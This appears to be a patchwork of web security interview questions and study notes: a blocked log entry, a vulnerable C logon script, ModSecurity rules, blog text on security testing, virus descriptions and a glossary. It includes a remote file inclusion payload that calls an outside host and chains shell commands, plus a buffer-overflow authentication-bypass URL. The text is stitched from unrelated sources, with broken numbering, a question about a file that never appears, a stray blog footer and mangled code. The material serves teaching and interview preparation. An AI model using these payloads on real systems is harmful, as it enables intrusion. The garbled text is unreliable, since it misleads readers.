Web Security Interview Question
Web Security Interview Question
1. What do you see as the most critical and current threats effecting
Internet accessible websites?
5. What are the most important steps you would recommend for
securing a new web server? Web application?
If you were not using Apache as the reverse proxy, what Microsoft
application/tool could you use to mitigate this attack?
The error occurred while processing an element with a general identifier of (CFQUERY),
occupying document position (1:1) to (1:42) in the template file
K:\InetPub\clients\login\http\ailment.cfm
This error message indicates that the target web application if running
Microsoft SQL and discloses directory structures.
3. What application generated the log file entry below? What type of
attack is this? Assuming the index.php program is vulnerable, was
this attack successful?
========================================
Request: 200.158.8.207 - - [09/Oct/2004:19:40:46 --0400] "POST /index.php HTTP/1.1" 403 743
Handler: cgi-script
----------------------------------------
POST /index.php HTTP/1.1
Host: www.foo.com
Connection: keep-alive
Accept: */*
Accept-Language: en-us
Content-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla 4.0 (Linux)
Content-Length: 65
X-Forwarded-For: 200.158.8.207
mod_security-message: Access denied with code 403. Pattern match "uname\x20-a" at
POST_PAYLOAD
mod_security-action: 403
65
lid=http://th3.ownz.p5.org.uk/lila.jpg?&cmd=cd /tmp;id;lsuname -a
What does this log entry indicate? How could you identify what the
contents are of the “hacked.htm” file that the attacker is trying to
upload?
5. You have been asked to review the source code for a compiled
script that is being used to validate logon credentials for a web
application. The file is called “logon_validate” and a typical logon
request looks like this –
“GET /cgi-bin/logon_validate?login=test&password=test”
void show_error(void) {
// AUTHENTICATION ERROR
exit(-1);
/**********************************/
/* Get Username from Query String */
/**********************************/
ch_ptr_begin=(char *)strstr(****QUERY_STRING****,"login=");
if (ch_ptr_begin==NULL)
show_error();
ch_ptr_begin+=6;
ch_ptr_end=(char *)strstr(ch_ptr_begin,"&");
if (ch_ptr_end==NULL)
show_error();
*(ch_ptr_end++)='\0';
strcpy(user,ch_ptr_begin);
/**********************************/
/* Get Password from Query String */
/**********************************/
ch_ptr_begin=(char *)strstr(ch_ptr_end,"password=");
if (ch_ptr_begin==NULL)
show_error();
ch_ptr_begin+=9;
ch_ptr_end=(char *)strstr(ch_ptr_begin,"&");
if (ch_ptr_end!=NULL) *(ch_ptr_end++)='\0';
strcpy(pass,ch_ptr_begin);
if (error_on_auth=='0') {
// AUTHENTICATION OK!!
} else {
// AUTHENTICATION ERROR
show_error();
Do you see any problems with this script? How could an attacker
exploit this script to bypass the authentication mechanisms in this
script? What are some mitigation options?
Goal of question – This is most likely the most complex question being
asked during the interview due to the fact that the applicant will need
to apply multiple layers of analysis, including both the attacker and
defender perspectives.
Reference “Smashing The Stack For Fun And Profit” for technical
details –
http://www.phrack.org/phrack/49/P49-14
The security issue with this script has to do with a buffer overflow
problem in the way that the script is using the “error_on_auth”
condition. The error_on_auth condition is initially declared to be “1”
which means that he user is not authenticated. The “user” condition
was declared directly after the error_on_auth and has been allocated
128 bytes. Due to the ordering of the declaration of the
error_on_auth and user parameters, they occupy adjacent locations on
the running stack. The result is that if the attacker submits a
username that is 129 bytes (with the last byte being “0”), they can
overwrite the error_on_auth data. A Unix command such as the
following would achieve this goal –
http://www.companyx.com/cgi-bin/validate_logon?logon=000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000
or
<Location /cgi-bin/validate_logon>
SecFilterSelective ARG_LOGIN “!^[a-zA-Z]”
</Location>
o You could also add another rule to restrict the size of the
username/password arguments to be less then 129
characters.
<Location /cgi-bin/validate_logon>
SecFilterSelective ARG_LOGIN “!^[a-zA-Z]”
SecFilterSelective ARG_LOGIN|ARG_PASSWORD “.{129,}”
</Location>
Now a day’s online transaction are rapidly increasing, so security testing on web
application is one of the most important thing to be carried out while testing web
applications. The security testing is to be carried out once the system is developed &
installed. To identify the vulnerabilities the network security testing should be performed
periodically.
There are “Seven attributes of Security Testing” as follows, for more details
check here:
• Authentication
• Authorization
• Confidentiality
• Availability
• Integrity
• Non-repudiation
• Resilience
In the pie-chart below, created by the Web Hacking Incident Database for 2011
(WHID) clearly shows that whilst many different attack methods exist, SQL
injection and XSS are the most popular.
Image Credit: @acunetix.com
23 6 basics terms used in Security Testing
Here are the useful terms frequently used in severity testing:
There are two types of penetration testing, White box testing & Black box testing.
In White box testing is all information is with tester prior start testing like IP
Address, Code & Infrastructure diagram & based on available information tester
will perform the testing. In Black box testing, tester do not has any information of
system under test. This is more accurate testing method as we are simulating the
testing with real hackers which they do not having the information of existing
system.
It would be easier if the password does not asking for complex passwords like
password must having at least one digit one character and one special
characters etc. Sometimes the passwords are stored on cookies, if such login
credentials information stored without encryption in cookies then hacker can use
different methods to get the username & password information.
The Vulnerability is a weakness in a system under test which may cause the
malicious attaches by unauthorized users. The vulnerability can be increase due
to bugs in the software, lacking of Security testing or viruses etc. These security
vulnerabilities require patches, or fixes, in order to prevent the potential for
compromised integrity by hackers or malware.
URL Manipulation is very much interesting and most common type of attack by
hackers. In this attack the hackers manipulate the website URL query strings &
capture the important information.
This happens when the application uses the HTTP GET method to pass
information between the client and the server. The information is passed in
parameters in the query string. The tester can modify a parameter value in the
query string to check if the server accepts it.
Via HTTP GET request user information is passed to server for authentication or
fetching data. Attacker can manipulate every input variable passed from this GET
request to server in order to get the required information or to corrupt the data. In
such conditions any unusual behavior by application or web server is the
doorway for the attacker to get into the application.
So while security testing the URL manipulation test cases should be considered
to make sure that using URL manipulation unauthorized user is not able to
access the important information or not corrupting the database records.
1.5 5) What is “SQL injection”?
SQL Injection is one of the most common application layer attack techniques
used by hackers. SQL Injection is one of the several web attack mechanisms
used by hackers to steal data from organizations. SQL injection attacks are very
critical as attacker can get vital information from server database. It is a type of
attack which takes the advantage of loop holes present in implementation of web
application that allows hacker to hack the system like passing sql queries into all
input fields and tries to hack the system.
Hackers try to query database with SQL injection statements or part of SQL
statement as user input & pull out the vital information from system or crash the
system & from the error displayed on browser can get the required information
what they are looking for.
To check the sql injection we have to take care of the input fields like text boxes,
comments etc. The Special characters should be either properly handled or
skipped from the input.
• The first step is to understand the business requirement, security goals and
objective in terms of security compliance of the organization. The test planning
should consider all security factors like Organization might have planned to
achieve PCI compliance etc.
• Understand and analyze the requirements of the application under test.
• Collect all system setup information used for development of Software and
Network like Operating Systems, technology, hardware.
• Make out the list of Vulnerabilities and Security Risks.
• Based on above step prepare Threat profile.
• Based on identified Threat, Vulnerabilities and Security Risks prepare test plan to
address these issues.
• For each identified Threat, Vulnerabilities and Security Risks prepare Traceability
Matrix.
• All security testing cannot possible to execute manually, so identify the tool to
execute the all security test cases faster & more reliable.
• Prepare the Security tests case document.
• Perform the Security Test cases execution and retest the defect fixes.
• Execute the Regression Test cases.
• Prepare detailed report of Security Testing which contains Vulnerabilities and
Threats contained, detailing risks, and still open issues etc.
45 Seven attributes of Security Testing
Security testing is to be carried out to make sure that whether the system
prevents the unauthorized user to access the resource and data. In web
applications & client server application the Security testing plays an important
role. In the previous article we have learn about the Security Testing and in
today’s article we are concentrating on the “Seven attributes of the security
testing”.
1.7 1) Authentication :
1.8 2) Authorization :
Once the Authentication passed the Authorization comes in the picture to limit
the user as per the permission set for the user. The Authorization is generally
implemented on Access control list, user role based, user group based and
define the permissions & restrictions to specific user group or granting or
revoking the privileges for the users.
1.9 3) Confidentiality:
1.10 4) Availability:
The availability of system is to check the system is available for authorized users
whenever they want to use except for the maintenance window & upgrade for
security patches. Downtime of the system should be minimum but the downtime
can be due to natural disasters or hardware failure. Most of the time backup
failover site is parallel running with main site. Once the main site down due to
some reason then the all requests to main site are redirected to backup site. One
more example of availability is the mirroring of the databases. In this concept
there are two databases one is main primary database other is secondary
(mirroring) database. Once the new record is added or updated or deleted from
system then this action is taken in the main primary database, once any action is
taken in this primary database then the updated data gets reflected on secondary
database. In this way both Primary & secondary databases are mirrored to each
other. Once the failure of Primary database is observed then the secondary
database comes in the picture and reduces the downtime & increase the
availability of the system.
1.11 5) Integrity:
Integrity is to make sure that the information received is not altered during the
transit & check if correct information presented to user is as per the user groups,
privileges & restrictions.
1.12 6) Non-repudiation:
Tracking who is accessing the systems and which of the requests were denied
along with additional details like the Timestamp and the IP address from where
the requests came from. Means confirmation sent by receiver to sender that the
requested services or information was successfully received as Digital
confirmation e.g. Digital Certificates, this not only serves as acknowledgement
but also helps to validate both sender and receiver is genuine.
1.13 7) Resilience:
Resilience is to check the system is resistance to bear the attacks, this can be
implemented using encryption, use OTP (One Time Password), two layer
authentication or RSA key token.
I think I have addressed all major attributes of the Security testing. If I missed
out addressing some important point in Security testing then let me know in
comments below. I will keep on updating the article for latest testing information.
If you enjoy reading this article please make sure to share it with your friends.
Please leave your questions/tips/suggestions in the comment section below and
I’ll try to answer as many as I can.
1.13.2 What are the most important steps you would recommend for securing a
new web server?
• Minimize rights.
• Update permissions.
• Delete default data and scripts.
• Make use of software firewall.
• Enable and make use of IIS logging.
• Regular backup.
• Updating the windows tool installed.
Security Testing:
In order to find vulnerabilities in web applications we need
to identify them:
Methods:
Code audit (a lot of work) also refers to White Box Testing
Testing (manual or automated) also refers to Black Box Testing
Manual testing: a human being attacks a web application using his experience,
knowledge and tools
Automated testing: a human being uses an automated vulnerability scanner to attack a
web application
Security Testing helps to understand the extent to which a system/application can protect
itself from unauthorized access, hacking, cracking, any code damage, etc.
•Verify and validate that applications meet the security requirements
•Identify security vulnerabilities of applications in the given environment
This type of testing needs sophisticated testing techniques
1.13.4 Virus,Trojan,Worm
Virus: A computer virus is a small program written to alter the way a computer operates,
without the permission or knowledge of the user. A virus must meet two criteria:
It must execute itself. It often places its own code in the path of execution of another
program.
• It must replicate itself. For example, it may replace other executable files with a
copy of the virus infected file. Viruses can infect desktop computers and network
servers alike.
Some viruses are programmed to damage the computer by damaging programs, deleting
files, or reformatting the hard disk. Others are not designed to do any damage, but simply
to replicate themselves and make their presence known by presenting text, video, and
audio messages. Even these benign viruses can create problems for the computer user.
They typically take up computer memory used by legitimate programs. As a result, they
often cause erratic behavior and can result in system crashes. In addition, many viruses
are bug-ridden, and these bugs may lead to system crashes and data loss
File infector viruses:File infector viruses infect program files. These viruses normally infect executable code, such as
.com and .exe files. The can infect other files when an infected program is run from floppy, hard drive, or from the
network. Many of these viruses are memory resident. After memory becomes infected, any noninfected executable that
runs becomes infected. Examples of known file infector viruses include Jerusalem and Cascade.
Boot sector viruses:Boot sector viruses infect the system area of a disk; that is, the boot record on floppy disks and
hard disks. All floppy disks and hard disks (including disks containing only data) contain a small program in the boot
record that is run when the computer starts up. Boot sector viruses attach themselves to this part of the disk and activate
when the user attempts to start up from the infected disk. These viruses are always memory resident in nature. Most
were written for DOS, but, all PCs, regardless of the operating system, are potential targets of this type of virus. All that
is required to become infected is to attempt to start up your computer with an infected floppy disk Thereafter, while the
virus remains in memory, all floppy disks that are not write protected will become infected when the floppy disk is
accessed. Examples of boot sector viruses are Form, Disk Killer, Michelangelo, and Stoned.
Master boot record viruses:Master boot record viruses are memory-resident viruses that infect disks in the same
manner as boot sector viruses. The difference between these two virus types is where the viral code is located. Master
boot record infectors normally save a legitimate copy of the master boot record in an different location. Windows NT
computers that become infected by either boot sector viruses or master boot sector viruses will not boot. This is due to
the difference in how the operating system accesses its boot information, as compared to Windows 98/Me. If your
Windows NT systems is formatted with FAT partitions you can usually remove the virus by booting to DOS and using
antivirus software. If the boot partition is NTFS, the system must be recovered by using the three Windows NT Setup
disks. Examples of master boot record infectors are NYB, AntiExe, and Unashamed.
Multipartite viruses:Multipartite (also known as polypartite) viruses infect both boot records and program files. These
are particularly difficult to repair. If the boot area is cleaned, but the files are not, the boot area will be reinfected. The
same holds true for cleaning infected files. If the virus is not removed from the boot area, any files that you have
cleaned will be reinfected. Examples of multipartite viruses include One_Half, Emperor, Anthrax and Tequilla.
Macro viruses:These types of viruses infect data files. They are the most common and have cost corporations the most
money and time trying to repair. With the advent of Visual Basic in Microsoft's Office 97, a macro virus can be written
that not only infects data files, but also can infect other files as well. Macro viruses infect Microsoft Office Word,
Excel, PowerPoint and Access files. Newer strains are now turning up in other programs as well. All of these viruses
use another program's internal programming language, which was created to allow users to automate certain tasks
within that program. Because of the ease with which these viruses can be created, there are now thousands of them in
circulation. Examples of macro viruses include W97M.Melissa, WM.NiceDay and W97M.Groov.
Trojan horses: These are impostors—files that claim to be something desirable but, in
fact, are malicious. A very important distinction between Trojan horse programs and true
viruses is that they do not replicate themselves. Trojan horses contain malicious code that
when triggered cause loss, or even theft, of data. For a Trojan horse to spread, you must
invite these programs onto your computers; for example, by opening an email attachment
or downloading and running a file from the Internet. Trojan.Vundo is a Trojan horse.
Worm: Worms are programs that replicate themselves from system to system without
the use of a host file. This is in contrast to viruses, which requires the spreading of an
infected host file. Although worms generally exist inside of other files, often Word or
Excel documents, there is a difference between how worms and viruses use the host file.
Usually the worm will release a document that already has the "worm" macro inside the
document. The entire document will travel from computer to computer, so the entire
document should be considered the worm W32.Mydoom.AX@mm is an example of a
worm
Posted by atlurianupama at 02:01 No comments:
Email ThisBlogThis!Share to TwitterShare to FacebookShare to Pinterest
1.13.6 What are the most important steps you would recommend for securing a
new web server?
• Minimize rights.
• Update permissions.
• Delete default data and scripts.
• Make use of software firewall.
• Enable and make use of IIS logging.
• Regular backup.
• Updating the windows tool installed.
•
SSI Injection: A server-side exploit technique that allows an attacker to send code
into a web application, which will be executed by the web server. See also "Meta-
Character Injection", “Parameter Tampering”, “Form Field Manipulation”.
Transport Layer Security: (Acronym – TLS) The more secure successor to SSL.
The TLS protocol provides communications privacy over the Internet. The protocol
allows client/server applications to communicate in a way that is designed to prevent
eavesdropping, tampering, or message forgery. TLS is based on the SSL protocol,
but the two systems are not interoperable. See also “Secure Sockets Layer”.
Universal Resource Locator: (Acronym – URL) A standard way of specifying the
location of an object, normally a web page, on the Internet. See also “Parameter
Tampering”.
Unvalidated Input: When a web application does not properly sanity-check user-
supplied data input.
URL Manipulation: Altering or modification of a web applications parameter name
and value pairs. Also known as “Parameter Tampering”.
User-Agent Manipulation: A technique used to bypass web site browser
requirement restrictions by altering the value sent within an HTTP User-Agent
header. See also “Cookie Manipulation”.
Verbose Messages: Detailed pieces of information revealed by a web site, which
could aid an attacker in exploiting the system.
Visual Verification: Visual oriented method of anti-automation that prevents
automated programs from exercising web site functionality by determining if there is
presence of mind. See also “Anti-Automation”.
Weak Password Recovery Validation: When a web site permits an attacker to
illegally obtain, change or recover another user’s password. See also “Password
Recovery System”.
Web Application: A software application, executed by a web server, which responds
to dynamic web page requests over HTTP. See also “Web Server”, “Web Application”,
“Web Service”.
Web Application Scanner: See “Web Application Vulnerability Scanner”.
Web Application Security: Science of information security relating to the World
Wide Web, HTTP and web application software. Also known as “Web Security”.
Web Application Firewall: An intermediary device, sitting between a web-client
and a web server, analyzing OSI Layer-7 messages for violations in the programmed
security policy. A web application firewall is used as a security device protecting the
web server from attack. See also “Web Application Security”, “Web Server”.
Web Application Vulnerability Scanner: An automated security program that
searches for software vulnerabilities within web applications. See also “Web
Application Security”.
Web Browser: A program used to display HyperText markup language (HTML) web
pages sent by a web server. See also “ActiveX controls”, “Cookie”, “Java Applets”,
“JavaScript”, “Client-Side Scripting”.
Web (or browser) cache poisoning: The act of adding/overwriting a cache entry
(of a caching proxy server, or a browser) with forged and possibly malicious data is
called cache poisoning. In its most potent form, an attacker can force an arbitrary
entry (URL of choice, page contents of choice) to the cache. In HTTP response
splitting [LINK], the attacker can choose the URL´s path and query (the host, port
and scheme must be the vulnerable host´s), and the entire page contents. In HTTP
request smuggling, the attacker can choose URL as in HTTP response splitting, but
the page contents must be obtained from a URL on the site. At any rate, cache
poisoning can be considered a form of defacement, whose scope is determined by
the coverage of the cache (i.e. browser - 1 user, forward proxy - 1 ISP/organization,
reverse proxy - all users), and the strength of the attack (full page control over
/index.html vs. partial control).
Web Security: See “Web Application Security”.
Web Security Assessment: A process of performing a security review of a web
application by searching for design flaws, vulnerabilities and inherent weaknesses.
See also “Web Application Security”.
Web Security Scanner: See “Web Application Vulnerability Scanner”.
Web Server: A general-purpose software application that handles and responds to
HTTP requests. A web server may utilize a web application for dynamic web page
content. See also “Web Application”, “Application Server”, “HyperText Transfer
Protocol”.
Web Service: A software application that uses Extensible Markup Language (XML)
formatted messages to communicate over HTTP. Typically, software applications
interact with web services rather than normal users. See also “Web Server”, “Web
Application”, “Application Server”, “HyperText Transfer Protocol”.
General Questions
Q) Why do you want to work for us?
Q) What will you bring to the team?
Q) Have you looked at our website? (Always do research on the company, be able to ask
them question about services)
Q) Where do you want to be in five years time?
Q) What are your main strengths and weaknesses?
Q) Tell me about yourself?
Q) Describe a situation in which you lead a team?
Q) Describe a situation where you worked in a team?
Q) What has been your greatest achievement?
Q) What are your hobbies?
Q) What motivates you?
Technical Questions
Q) Which service runs on port
22,80,21,25,137,3306,156,443,79,1,111,53,135,445,139,161,389,3368,123,110,3269,636,
500,4500 ?
Q) What is SQL injection?
Q) What is XSS?
Q) What are Private IP address?
Q) Which is the difference between Encryption,Hasing and Encoding?
Q) Where do you get your security news?
Q) What’s the difference between Symmetric and Asymettric?
Q) What is the proper sequence of a TCP connection?
Q) What type of password attack would be most successful against the password
T63#s23A?
Q) What is a logic bomb virus?
Q) What are the seven layers of the ISO model?
Q) What command is used to retrieve information from a SQL database?
Q) WEP stands for what?
Q) Data encrypted with the server’s public key can be decrypted with which key?
Q) What are the flags in a TCP header?
Q) What are three insecure protocols?
Q) What’s the difference between TCP and UDP?
Q) What does the Ike scan tool do?
Q) What does APT stand for?
Q) What does ICMP stand for and what does it do?
Q) What are the top ten security vulnerabilities in PHP code?
Q) What is a null session?
Q) What the difference between windows 2000 and NT?
Q) How does nmap tell if a UDP is open or closed?
Q) What is a bufff overflow?
Q) How would you enumerate SMTP?
Q) How does LM hash work?